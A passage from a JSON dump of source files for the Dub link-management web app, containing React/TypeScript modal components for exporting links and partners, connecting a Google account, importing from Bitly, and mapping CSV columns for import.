links...\");\n    try {\n      const params = {\n        ...(workspaceId && { workspaceId }),\n        ...(data.dateRange.from && data.dateRange.to\n          ? {\n              start: data.dateRange.from.toISOString(),\n              end: data.dateRange.to.toISOString(),\n            }\n          : {\n              interval: data.dateRange.interval ?? \"all\",\n            }),\n        columns: (data.columns.length\n          ? data.columns\n          : exportLinksColumnsDefault\n        ).join(\",\"),\n      };\n\n      const queryString = data.useFilters\n        ? getQueryString(params, {\n            exclude: [\"import\", \"upgrade\", \"newLink\"],\n          })\n        : \"?\" + new URLSearchParams(params).toString();\n\n      const response = await fetch(`/api/links/export${queryString}`, {\n        method: \"GET\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      });\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message);\n      }\n\n      if (response.status === 202) {\n        toast.success(\n          `Your export is being processed and we'll send you an email (${session?.user?.email}) when it's ready to download.`,\n        );\n        setShowExportLinksModal(false);\n        return;\n      }\n\n      const blob = await response.blob();\n      const url = window.URL.createObjectURL(blob);\n      const a = document.createElement(\"a\");\n      a.href = url;\n      a.download = `Dub Links Export - ${new Date().toISOString()}.csv`;\n      a.click();\n\n      toast.success(\"Exported successfully\");\n      setShowExportLinksModal(false);\n    } catch (error) {\n      console.error(error);\n      toast.error(error);\n    } finally {\n      toast.dismiss(lid);\n    }\n  });\n\n  return (\n    <Modal\n      showModal={showExportLinksModal}\n      setShowModal={setShowExportLinksModal}\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Export links</h3>\n      </div>\n\n      <form onSubmit={onSubmit}>\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"space-y-4\">\n            <div>\n              <p className=\"mb-2 block text-sm font-medium text-neutral-700\">\n                Date Range\n              </p>\n              <Controller\n                name=\"dateRange\"\n                control={control}\n                render={({ field }) => (\n                  <DateRangePicker\n                    id={dateRangePickerId}\n                    className=\"w-full\"\n                    value={\n                      field.value?.from && field.value?.to\n                        ? {\n                            from: field.value.from,\n                            to: field.value.to,\n                          }\n                        : undefined\n                    }\n                    presetId={\n                      !field.value.from || !field.value.to\n                        ? field.value.interval ?? \"all\"\n                        : undefined\n                    }\n                    onChange={(dateRange, preset) => {\n                      field.onChange(\n                        preset ? { interval: preset.id } : dateRange,\n                      );\n                    }}\n                    presets={INTERVAL_DISPLAYS.map(({ display, value }) => ({\n                      id: value,\n                      label: display,\n                      dateRange: {\n                        from: getIntervalData(value).startDate,\n                        to: getIntervalData(value).endDate,\n                      },\n                    }))}\n                  />\n                )}\n              />\n            </div>\n\n            <div>\n              <p className=\"mb-2 block text-sm font-medium text-neutral-700\">\n                Columns\n              </p>\n              <Controller\n                name=\"columns\"\n                control={control}\n                render={({ field }) => (\n                  <div className=\"xs:grid-cols-2 grid grid-cols-1 gap-x-4 gap-y-2\">\n                    {exportLinksColumns.map(({ id, label }) => (\n                      <div key={id} className=\"group flex gap-2\">\n                        <Checkbox\n                          value={id}\n                          id={`${columnCheckboxId}-${id}`}\n                          checked={field.value.includes(id)}\n                          onCheckedChange={(checked) => {\n                            field.onChange(\n                              checked\n                                ? [...field.value, id]\n                                : field.value.filter((value) => value !== id),\n                            );\n                          }}\n                        />\n                        <label\n                          htmlFor={`${columnCheckboxId}-${id}`}\n                          className=\"select-none text-sm font-medium text-neutral-600 group-hover:text-neutral-800\"\n                        >\n                          {label}\n                        </label>\n                      </div>\n                    ))}\n                  </div>\n                )}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"border-t border-neutral-200 bg-neutral-50 px-4 py-4 sm:px-6\">\n          <Controller\n            name=\"useFilters\"\n            control={control}\n            render={({ field }) => (\n              <div className=\"flex items-center justify-between gap-2\">\n                <span className=\"flex select-none items-center gap-2 text-sm font-medium text-neutral-600 group-hover:text-neutral-800\">\n                  Apply current filters\n                  <InfoTooltip content=\"Filter exported links by your currently selected filters\" />\n                </span>\n                <Switch checked={field.value} fn={field.onChange} />\n              </div>\n            )}\n          />\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowExportLinksModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n          />\n          <Button\n            type=\"submit\"\n            loading={isSubmitting}\n            text=\"Export links\"\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useExportLinksModal() {\n  const [showExportLinksModal, setShowExportLinksModal] = useState(false);\n\n  const ExportLinksModalCallback = useCallback(() => {\n    return (\n      <ExportLinksModal\n        showExportLinksModal={showExportLinksModal}\n        setShowExportLinksModal={setShowExportLinksModal}\n      />\n    );\n  }, [showExportLinksModal, setShowExportLinksModal]);\n\n  return useMemo(\n    () => ({\n      setShowExportLinksModal,\n      ExportLinksModal: ExportLinksModalCallback,\n    }),\n    [setShowExportLinksModal, ExportLinksModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/export-partners-modal.tsx",
    "content": "import { generateExportFilename } from \"@/lib/api/utils/generate-export-filename\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  exportPartnerColumns,\n  exportPartnersColumnsDefault,\n} from \"@/lib/zod/schemas/partners\";\nimport {\n  Button,\n  Checkbox,\n  InfoTooltip,\n  Modal,\n  Switch,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ninterface FormData {\n  columns: string[];\n  useFilters: boolean;\n}\n\nfunction ExportPartnersModal({\n  showExportPartnersModal,\n  setShowExportPartnersModal,\n}: {\n  showExportPartnersModal: boolean;\n  setShowExportPartnersModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { data: session } = useSession();\n  const columnCheckboxId = useId();\n  const { program } = useProgram();\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString, searchParamsObj } = useRouterStuff();\n\n  const {\n    control,\n    handleSubmit,\n    formState: { isSubmitting },\n  } = useForm<FormData>({\n    defaultValues: {\n      columns: exportPartnersColumnsDefault,\n      useFilters: true,\n    },\n  });\n\n  const onSubmit = handleSubmit(async (data) => {\n    if (!workspaceId || !program?.id) {\n      return;\n    }\n\n    const lid = toast.loading(\"Exporting partners...\");\n\n    try {\n      const params = {\n        workspaceId,\n        programId: program.id,\n        status: searchParamsObj.status || \"approved\",\n        ...(data.columns.length\n          ? { columns: data.columns.join(\",\") }\n          : undefined),\n      };\n\n      const searchParams = data.useFilters\n        ? getQueryString(params)\n        : \"?\" + new URLSearchParams(params);\n\n      const response = await fetch(`/api/partners/export${searchParams}`, {\n        method: \"GET\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      });\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message);\n      }\n\n      if (response.status === 202) {\n        toast.success(\n          `Your export is being processed and we'll send you an email (${session?.user?.email}) when it's ready to download.`,\n        );\n        setShowExportPartnersModal(false);\n        return;\n      }\n\n      const blob = await response.blob();\n      const url = window.URL.createObjectURL(blob);\n      const a = document.createElement(\"a\");\n\n      a.href = url;\n      a.download = generateExportFilename(\"partners\");\n      a.click();\n\n      toast.success(\"Exported successfully\");\n      setShowExportPartnersModal(false);\n    } catch (error) {\n      toast.error(error);\n    } finally {\n      toast.dismiss(lid);\n    }\n  });\n\n  return (\n    <Modal\n      showModal={showExportPartnersModal}\n      setShowModal={setShowExportPartnersModal}\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Export partners</h3>\n      </div>\n\n      <form onSubmit={onSubmit}>\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"space-y-4\">\n            <div>\n              <p className=\"mb-2 block text-sm font-medium text-neutral-700\">\n                Columns\n              </p>\n              <Controller\n                name=\"columns\"\n                control={control}\n                render={({ field }) => (\n                  <div className=\"xs:grid-cols-2 grid grid-cols-1 gap-x-4 gap-y-2\">\n                    {exportPartnerColumns.map(({ id, label }) => (\n                      <div key={id} className=\"group flex gap-2\">\n                        <Checkbox\n                          value={id}\n                          id={`${columnCheckboxId}-${id}`}\n                          checked={field.value.includes(id)}\n                          onCheckedChange={(checked) => {\n                            field.onChange(\n                              checked\n                                ? [...field.value, id]\n                                : field.value.filter((value) => value !== id),\n                            );\n                          }}\n                        />\n                        <label\n                          htmlFor={`${columnCheckboxId}-${id}`}\n                          className=\"select-none text-sm font-medium text-neutral-600 group-hover:text-neutral-800\"\n                        >\n                          {label}\n                        </label>\n                      </div>\n                    ))}\n                  </div>\n                )}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"border-t border-neutral-200 bg-neutral-50 px-4 py-4 sm:px-6\">\n          <Controller\n            name=\"useFilters\"\n            control={control}\n            render={({ field }) => (\n              <div className=\"flex items-center justify-between gap-2\">\n                <span className=\"flex select-none items-center gap-2 text-sm font-medium text-neutral-600 group-hover:text-neutral-800\">\n                  Apply current filters\n                  <InfoTooltip content=\"Filter exported partners by your currently selected filters\" />\n                </span>\n                <Switch checked={field.value} fn={field.onChange} />\n              </div>\n            )}\n          />\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowExportPartnersModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n          />\n          <Button\n            type=\"submit\"\n            loading={isSubmitting}\n            text=\"Export partners\"\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useExportPartnersModal() {\n  const [showExportPartnersModal, setShowExportPartnersModal] = useState(false);\n\n  const ExportPartnersModalCallback = useCallback(() => {\n    return (\n      <ExportPartnersModal\n        showExportPartnersModal={showExportPartnersModal}\n        setShowExportPartnersModal={setShowExportPartnersModal}\n      />\n    );\n  }, [showExportPartnersModal, setShowExportPartnersModal]);\n\n  return useMemo(\n    () => ({\n      setShowExportPartnersModal,\n      ExportPartnersModal: ExportPartnersModalCallback,\n    }),\n    [setShowExportPartnersModal, ExportPartnersModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/google-oauth-modal.tsx",
    "content": "import { Button, Google, Logo, Modal } from \"@dub/ui\";\nimport Cookies from \"js-cookie\";\nimport { signIn } from \"next-auth/react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\n\nfunction GoogleOauthModal({\n  showGoogleOauthModal,\n  setShowGoogleOauthModal,\n}: {\n  showGoogleOauthModal: boolean;\n  setShowGoogleOauthModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const [clickedGoogle, setClickedGoogle] = useState(false);\n\n  return (\n    <Modal\n      showModal={showGoogleOauthModal}\n      setShowModal={setShowGoogleOauthModal}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 sm:px-16\">\n        <Logo />\n        <h3 className=\"text-lg font-medium\">Connect your Google Account</h3>\n        <p className=\"text-center text-sm text-neutral-500\">\n          This allows you to sign in to your {process.env.NEXT_PUBLIC_APP_NAME}{\" \"}\n          account with Google.{\" \"}\n          <a\n            className=\"underline underline-offset-4 transition-colors hover:text-black\"\n            href=\"https://dub.co/changelog/sign-in-with-google\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n          >\n            Read the announcement.\n          </a>\n        </p>\n      </div>\n      <div className=\"flex flex-col space-y-3 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        <Button\n          text=\"Connect Google Account\"\n          onClick={() => {\n            setClickedGoogle(true);\n            signIn(\"google\", {\n              callbackUrl: \"/account/settings?google=true\",\n            });\n          }}\n          loading={clickedGoogle}\n          icon={<Google className=\"h-4 w-4\" />}\n        />\n        <button\n          onClick={() => {\n            setShowGoogleOauthModal(false);\n            Cookies.set(\"hideGoogleOauthModal\", true, { expires: 14 });\n          }}\n          className=\"text-sm text-neutral-400 underline underline-offset-4 transition-colors hover:text-neutral-800 active:text-neutral-400\"\n        >\n          Don't show this again\n        </button>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useGoogleOauthModal() {\n  const [showGoogleOauthModal, setShowGoogleOauthModal] = useState(false);\n\n  const GoogleOauthModalCallback = useCallback(() => {\n    return (\n      <GoogleOauthModal\n        showGoogleOauthModal={showGoogleOauthModal}\n        setShowGoogleOauthModal={setShowGoogleOauthModal}\n      />\n    );\n  }, [showGoogleOauthModal, setShowGoogleOauthModal]);\n\n  return useMemo(\n    () => ({\n      setShowGoogleOauthModal,\n      GoogleOauthModal: GoogleOauthModalCallback,\n    }),\n    [setShowGoogleOauthModal, GoogleOauthModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/import-bitly-modal.tsx",
    "content": "import { createOAuthUrl } from \"@/lib/actions/create-oauth-url\";\nimport useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BitlyGroupProps } from \"@/lib/types\";\nimport {\n  Button,\n  LoadingSpinner,\n  Logo,\n  Modal,\n  Switch,\n  Tooltip,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { ArrowRight, ServerOff } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport useSWRImmutable from \"swr/immutable\";\n\nfunction ImportBitlyModal({\n  showImportBitlyModal,\n  setShowImportBitlyModal,\n}: {\n  showImportBitlyModal: boolean;\n  setShowImportBitlyModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const router = useRouter();\n  const searchParams = useSearchParams();\n  const { folderId } = useCurrentFolderId();\n  const { id: workspaceId } = useWorkspace();\n  const [importing, setImporting] = useState(false);\n  const { queryParams } = useRouterStuff();\n\n  const { executeAsync, isPending } = useAction(createOAuthUrl, {\n    onSuccess: ({ data }) => {\n      if (!data?.url) {\n        toast.error(\"Failed to generate OAuth URL.\");\n        return;\n      }\n\n      router.push(data.url);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError || \"Failed to generate OAuth URL.\");\n    },\n  });\n\n  const {\n    data: groups,\n    isLoading,\n    mutate,\n  } = useSWRImmutable<BitlyGroupProps[]>(\n    workspaceId &&\n      showImportBitlyModal &&\n      `/api/workspaces/${workspaceId}/import/bitly`,\n    fetcher,\n    {\n      onError: (err) => {\n        if (err.message !== \"No Bitly access token found\") {\n          toast.error(err.message);\n        }\n      },\n    },\n  );\n\n  const [selectedDomains, setSelectedDomains] = useState<\n    {\n      domain: string;\n      bitlyGroup: string;\n    }[]\n  >([]);\n  const [selectedGroupTags, setSelectedGroupTags] = useState<string[]>([]);\n\n  useEffect(() => {\n    if (searchParams?.get(\"import\") === \"bitly\") {\n      mutate();\n      setShowImportBitlyModal(true);\n    } else {\n      setShowImportBitlyModal(false);\n    }\n  }, [searchParams]);\n\n  const isSelected = (domain: string) => {\n    return selectedDomains.find((d) => d.domain === domain) ? true : false;\n  };\n\n  const signInWithBitly = async () => {\n    if (!workspaceId) {\n      return;\n    }\n\n    await executeAsync({\n      provider: \"bitly\",\n      workspaceId,\n      ...(folderId ? { folderId } : {}),\n    });\n  };\n\n  return (\n    <Modal\n      showModal={showImportBitlyModal}\n      setShowModal={setShowImportBitlyModal}\n      onClose={() =>\n        queryParams({\n          del: \"import\",\n        })\n      }\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-8 sm:px-16\">\n        <div className=\"flex items-center space-x-3 py-4\">\n          <img\n            src=\"https://assets.dub.co/misc/icons/bitly.svg\"\n            alt=\"Bitly logo\"\n            className=\"h-10 w-10 rounded-full\"\n          />\n          <ArrowRight className=\"h-5 w-5 text-neutral-600\" />\n          <Logo />\n        </div>\n        <h3 className=\"text-lg font-medium\">Import Your Bitly Links</h3>\n        <p className=\"text-center text-sm text-neutral-500\">\n          Easily import all your existing Bitly links into{\" \"}\n          {process.env.NEXT_PUBLIC_APP_NAME} with just a few clicks.\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        {isLoading || !workspaceId ? (\n          <div className=\"flex flex-col items-center justify-center space-y-4 bg-none\">\n            <LoadingSpinner />\n            <p className=\"text-sm text-neutral-500\">Connecting to Bitly</p>\n          </div>\n        ) : groups ? (\n          <form\n            onSubmit={async (e) => {\n              e.preventDefault();\n              setImporting(true);\n              toast.promise(\n                fetch(`/api/workspaces/${workspaceId}/import/bitly`, {\n                  method: \"POST\",\n                  headers: {\n                    \"Content-Type\": \"application/json\",\n                  },\n                  body: JSON.stringify({\n                    selectedDomains,\n                    selectedGroupTags,\n                    ...(folderId ? { folderId } : {}),\n                  }),\n                }).then(async (res) => {\n                  if (res.ok) {\n                    await mutate();\n                    queryParams({\n                      del: \"import\",\n                    });\n                  } else {\n                    setImporting(false);\n                    throw new Error();\n                  }\n                }),\n                {\n                  loading: \"Adding links to import queue...\",\n                  success:\n                    \"Successfully added links to import queue! You can now safely navigate from this tab – we will send you an email when your links have been fully imported.\",\n                  error: \"Error adding links to import queue\",\n                },\n              );\n            }}\n            className=\"flex flex-col space-y-4\"\n          >\n            <div className=\"divide-y divide-neutral-200\">\n              {groups.length > 0 ? (\n                groups.map(({ guid, bsds, tags }) => (\n                  <div key={guid} className=\"flex flex-col space-y-2\">\n                    <div className=\"flex items-center justify-between\">\n                      <p className=\"text-sm font-medium text-neutral-700\">\n                        Domains\n                      </p>\n                      <Tooltip content=\"Your Bitly group ID\">\n                        <p className=\"cursor-default text-xs uppercase text-neutral-400 transition-colors hover:text-neutral-700\">\n                          {guid}\n                        </p>\n                      </Tooltip>\n                    </div>\n                    {bsds.map((bsd) => (\n                      <div\n                        key={bsd}\n                        className=\"flex items-center justify-between space-x-2 rounded-md border border-neutral-200 bg-white px-4 py-2\"\n                      >\n                        <p className=\"font-medium text-neutral-800\">{bsd}</p>\n                        <Switch\n                          fn={() => {\n                            const selected = isSelected(bsd);\n                            if (selected) {\n                              setSelectedDomains((prev) =>\n                                prev.filter((d) => d.domain !== bsd),\n                              );\n                            } else {\n                              setSelectedDomains((prev) => [\n                                ...prev,\n                                {\n                                  domain: bsd,\n                                  bitlyGroup: guid,\n                                },\n                              ]);\n                            }\n                          }}\n                          checked={isSelected(bsd)}\n                        />\n                      </div>\n                    ))}\n                    {tags?.length > 0 && (\n                      <div className=\"flex items-center justify-between space-x-2 rounded-md py-1 pl-2 pr-4\">\n                        <p className=\"text-xs text-neutral-500\">\n                          {tags.length} tags found. Import all?\n                        </p>\n                        <Switch\n                          fn={() => {\n                            if (selectedGroupTags.includes(guid)) {\n                              setSelectedGroupTags((prev) =>\n                                prev.filter((g) => g !== guid),\n                              );\n                            } else {\n                              setSelectedGroupTags((prev) => [...prev, guid]);\n                            }\n                          }}\n                          checked={selectedGroupTags.includes(guid)}\n                        />\n                      </div>\n                    )}\n                  </div>\n                ))\n              ) : (\n                <div className=\"flex flex-col items-center justify-center gap-2 pb-2\">\n                  <ServerOff className=\"h-6 w-6 text-neutral-500\" />\n                  <p className=\"text-center text-sm text-neutral-500\">\n                    It looks like you don't have any Bitly groups with custom\n                    domains (non bit.ly domains).\n                  </p>\n                </div>\n              )}\n            </div>\n            <Button\n              text=\"Confirm import\"\n              loading={importing}\n              disabled={selectedDomains.length === 0}\n            />\n            <button\n              type=\"button\"\n              onClick={signInWithBitly}\n              disabled={isPending}\n              className=\"text-center text-xs text-neutral-500 underline underline-offset-4 transition-colors hover:text-neutral-800 disabled:cursor-not-allowed disabled:opacity-50\"\n            >\n              Sign in to a different Bitly account?\n            </button>\n          </form>\n        ) : (\n          <div className=\"flex flex-col space-y-2\">\n            <Button\n              text=\"Sign in with Bitly\"\n              variant=\"secondary\"\n              loading={isPending}\n              icon={\n                <img\n                  src=\"https://assets.dub.co/misc/icons/bitly.svg\"\n                  alt=\"Bitly logo\"\n                  className=\"h-5 w-5 rounded-full border border-neutral-200\"\n                />\n              }\n              onClick={signInWithBitly}\n            />\n            <a\n              href=\"https://dub.co/help/article/migrating-from-bitly\"\n              target=\"_blank\"\n              className=\"text-center text-xs text-neutral-500 underline underline-offset-4 transition-colors hover:text-neutral-800\"\n            >\n              Read the guide\n            </a>\n          </div>\n        )}\n      </div>\n    </Modal>\n  );\n}\n\nexport function useImportBitlyModal() {\n  const [showImportBitlyModal, setShowImportBitlyModal] = useState(false);\n\n  const ImportBitlyModalCallback = useCallback(() => {\n    return (\n      <ImportBitlyModal\n        showImportBitlyModal={showImportBitlyModal}\n        setShowImportBitlyModal={setShowImportBitlyModal}\n      />\n    );\n  }, [showImportBitlyModal, setShowImportBitlyModal]);\n\n  return useMemo(\n    () => ({\n      setShowImportBitlyModal,\n      ImportBitlyModal: ImportBitlyModalCallback,\n    }),\n    [setShowImportBitlyModal, ImportBitlyModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/import-csv-modal/field-mapping.tsx",
    "content": "\"use client\";\n\nimport { generateCsvMapping } from \"@/lib/ai/generate-csv-mapping\";\nimport { readStreamableValue } from \"@ai-sdk/rsc\";\nimport { Button, IconMenu, InfoTooltip, Popover, Tooltip } from \"@dub/ui\";\nimport {\n  ArrowRight,\n  Check,\n  LoadingSpinner,\n  TableIcon,\n  Xmark,\n} from \"@dub/ui/icons\";\nimport {\n  cn,\n  formatDate,\n  getPrettyUrl,\n  parseDateTime,\n  truncate,\n} from \"@dub/utils\";\nimport { ChevronDown } from \"lucide-react\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { Controller } from \"react-hook-form\";\nimport { mappableFields, useCsvContext } from \".\";\n\nexport function FieldMapping() {\n  const { fileColumns, firstRows, setValue } = useCsvContext();\n\n  const [isStreaming, setIsStreaming] = useState(true);\n\n  useEffect(() => {\n    if (!fileColumns || !firstRows) return;\n\n    generateCsvMapping(fileColumns, firstRows)\n      .then(async ({ object }) => {\n        setIsStreaming(true);\n        for await (const partialObject of readStreamableValue(object)) {\n          if (partialObject) {\n            Object.entries(partialObject).forEach((entry) => {\n              const [field, value] = entry as string[];\n              if (\n                Object.keys(mappableFields).includes(field) &&\n                fileColumns.includes(value)\n              ) {\n                setValue(field as keyof typeof mappableFields, value, {\n                  shouldValidate: true,\n                });\n              }\n            });\n          }\n        }\n      })\n      .finally(() => setIsStreaming(false));\n  }, [fileColumns, firstRows]);\n\n  return (\n    <div className=\"grid grid-cols-[1fr_min-content_1fr] gap-x-4 gap-y-2\">\n      {(Object.keys(mappableFields) as (keyof typeof mappableFields)[]).map(\n        (field) => (\n          <FieldRow key={field} field={field} isStreaming={isStreaming} />\n        ),\n      )}\n    </div>\n  );\n}\n\nfunction FieldRow({\n  field,\n  isStreaming,\n}: {\n  field: keyof typeof mappableFields;\n  isStreaming: boolean;\n}) {\n  const { label, required } = mappableFields[field];\n\n  const { control, watch, fileColumns, firstRows } = useCsvContext();\n\n  const value = watch(field);\n\n  const isLoading = isStreaming && !value;\n  const [isOpen, setIsOpen] = useState(false);\n\n  const examples = useMemo(() => {\n    if (!firstRows) return [];\n\n    let values = firstRows?.map((row) => row[value]).filter(Boolean);\n\n    switch (field) {\n      case \"link\":\n        values = values.map(getPrettyUrl);\n        break;\n      case \"tags\":\n        // Split by commas\n        values = values.map((e) =>\n          e\n            .split(\",\")\n            .map((e) => e.trim())\n            .join(\" & \"),\n        );\n        break;\n      case \"createdAt\":\n        // Convert to date\n        values = values.map((e) => {\n          const date = parseDateTime(e);\n          if (!date) return e;\n\n          return formatDate(date, {\n            month: \"short\",\n          });\n        });\n        break;\n    }\n\n    values = values.map((e) => truncate(e, 32) as string);\n\n    return values;\n  }, [firstRows, value]);\n\n  return (\n    <>\n      <div className=\"relative flex min-w-0 items-center gap-2\">\n        <Controller\n          control={control}\n          name={field}\n          rules={{ required }}\n          render={({ field }) => (\n            <Popover\n              align=\"end\"\n              content={\n                <div className=\"w-full p-2 md:w-48\">\n                  {[\n                    ...(fileColumns || []),\n                    ...(field.value && !required ? [\"None\"] : []),\n                  ]?.map((column) => {\n                    const Icon = column !== \"None\" ? TableIcon : Xmark;\n                    return (\n                      <button\n                        key={column}\n                        onClick={() => {\n                          field.onChange(column !== \"None\" ? column : null);\n                          setIsOpen(false);\n                        }}\n                        className={cn(\n                          \"flex w-full items-center justify-between space-x-2 rounded-md px-1 py-2 hover:bg-neutral-100 active:bg-neutral-200\",\n                          column === \"None\" && \"text-neutral-400\",\n                        )}\n                      >\n                        <IconMenu\n                          text={column}\n                          icon={<Icon className=\"size-4 flex-none\" />}\n                        />\n                        {field.value === column && (\n                          <Check className=\"size-4 shrink-0\" />\n                        )}\n                      </button>\n                    );\n                  })}\n                </div>\n              }\n              openPopover={isOpen}\n              setOpenPopover={setIsOpen}\n            >\n              <Button\n                variant=\"secondary\"\n                className=\"h-9 min-w-0 px-3\"\n                textWrapperClassName=\"grow text-left\"\n                onClick={() => setIsOpen((o) => !o)}\n                disabled={isLoading}\n                text={\n                  <div className=\"flex w-full grow items-center justify-between gap-1\">\n                    <span className=\"flex-1 truncate whitespace-nowrap text-left text-neutral-800\">\n                      {field.value || (\n                        <span className=\"text-neutral-600\">\n                          Select column...\n                        </span>\n                      )}\n                    </span>\n                    {isLoading ? (\n                      <LoadingSpinner className=\"size-4 shrink-0\" />\n                    ) : (\n                      <ChevronDown className=\"size-4 shrink-0 text-neutral-400 transition-transform duration-75 group-data-[state=open]:rotate-180\" />\n                    )}\n                  </div>\n                }\n              />\n            </Popover>\n          )}\n        />\n      </div>\n      {Boolean(examples?.length) ? (\n        <Tooltip\n          content={\n            <div className=\"block px-4 py-3 text-sm\">\n              <span className=\"font-medium text-neutral-950\">\n                Example values:\n              </span>\n              <ul className=\"mt-0.5\">\n                {examples?.map((example, idx) => (\n                  <li\n                    key={example + idx}\n                    className=\"block text-xs leading-tight text-neutral-500\"\n                  >\n                    <span className=\"translate-y-1 text-base text-neutral-600\">\n                      &bull;\n                    </span>{\" \"}\n                    {example}\n                  </li>\n                ))}\n              </ul>\n            </div>\n          }\n        >\n          <div className=\"flex items-center justify-end\">\n            <ArrowRight className=\"size-4 text-neutral-500\" />\n          </div>\n        </Tooltip>\n      ) : (\n        <div className=\"flex items-center justify-end\">\n          <ArrowRight className=\"size-4 text-neutral-500\" />\n        </div>\n      )}\n      <span className=\"flex h-9 items-center gap-1 rounded-md border border-neutral-200 bg-neutral-100 px-3\">\n        <span className=\"grow whitespace-nowrap text-sm font-normal text-neutral-700\">\n          {label} {required && <span className=\"text-red-700\">*</span>}\n        </span>\n        {field === \"tags\" && (\n          <InfoTooltip content=\"Tags may be comma-separated as long as they're escaped properly in the CSV file.\" />\n        )}\n      </span>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/import-csv-modal/index.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  Logo,\n  Modal,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { TableIcon } from \"@dub/ui/icons\";\nimport { ArrowRight } from \"lucide-react\";\nimport { useParams, useRouter, useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  createContext,\n  useCallback,\n  useContext,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport {\n  Control,\n  UseFormSetValue,\n  UseFormWatch,\n  useForm,\n} from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { FieldMapping } from \"./field-mapping\";\nimport { SelectFile } from \"./select-file\";\n\nexport const mappableFields = {\n  link: {\n    label: \"Short Link\",\n    required: true,\n  },\n  url: {\n    label: \"Destination URL\",\n    required: true,\n  },\n  title: {\n    label: \"Title\",\n    required: false,\n  },\n  description: {\n    label: \"Description\",\n    required: false,\n  },\n  tags: {\n    label: \"Tags\",\n    required: false,\n  },\n  createdAt: {\n    label: \"Created At\",\n    required: false,\n  },\n} as const;\n\nexport type ImportCsvFormData = {\n  file: File | null;\n} & Record<keyof typeof mappableFields, string>;\n\nconst ImportCsvContext = createContext<{\n  fileColumns: string[] | null;\n  setFileColumns: (columns: string[] | null) => void;\n  firstRows: Record<string, string>[] | null;\n  setFirstRows: (rows: Record<string, string>[] | null) => void;\n  control: Control<ImportCsvFormData>;\n  watch: UseFormWatch<ImportCsvFormData>;\n  setValue: UseFormSetValue<ImportCsvFormData>;\n} | null>(null);\n\nexport function useCsvContext() {\n  const context = useContext(ImportCsvContext);\n  if (!context)\n    throw new Error(\n      \"useCsvContext must be used within an ImportCsvContext.Provider\",\n    );\n\n  return context;\n}\n\nconst pages = [\"select-file\", \"confirm-import\"] as const;\n\nfunction ImportCsvModal({\n  showImportCsvModal,\n  setShowImportCsvModal,\n}: {\n  showImportCsvModal: boolean;\n  setShowImportCsvModal: 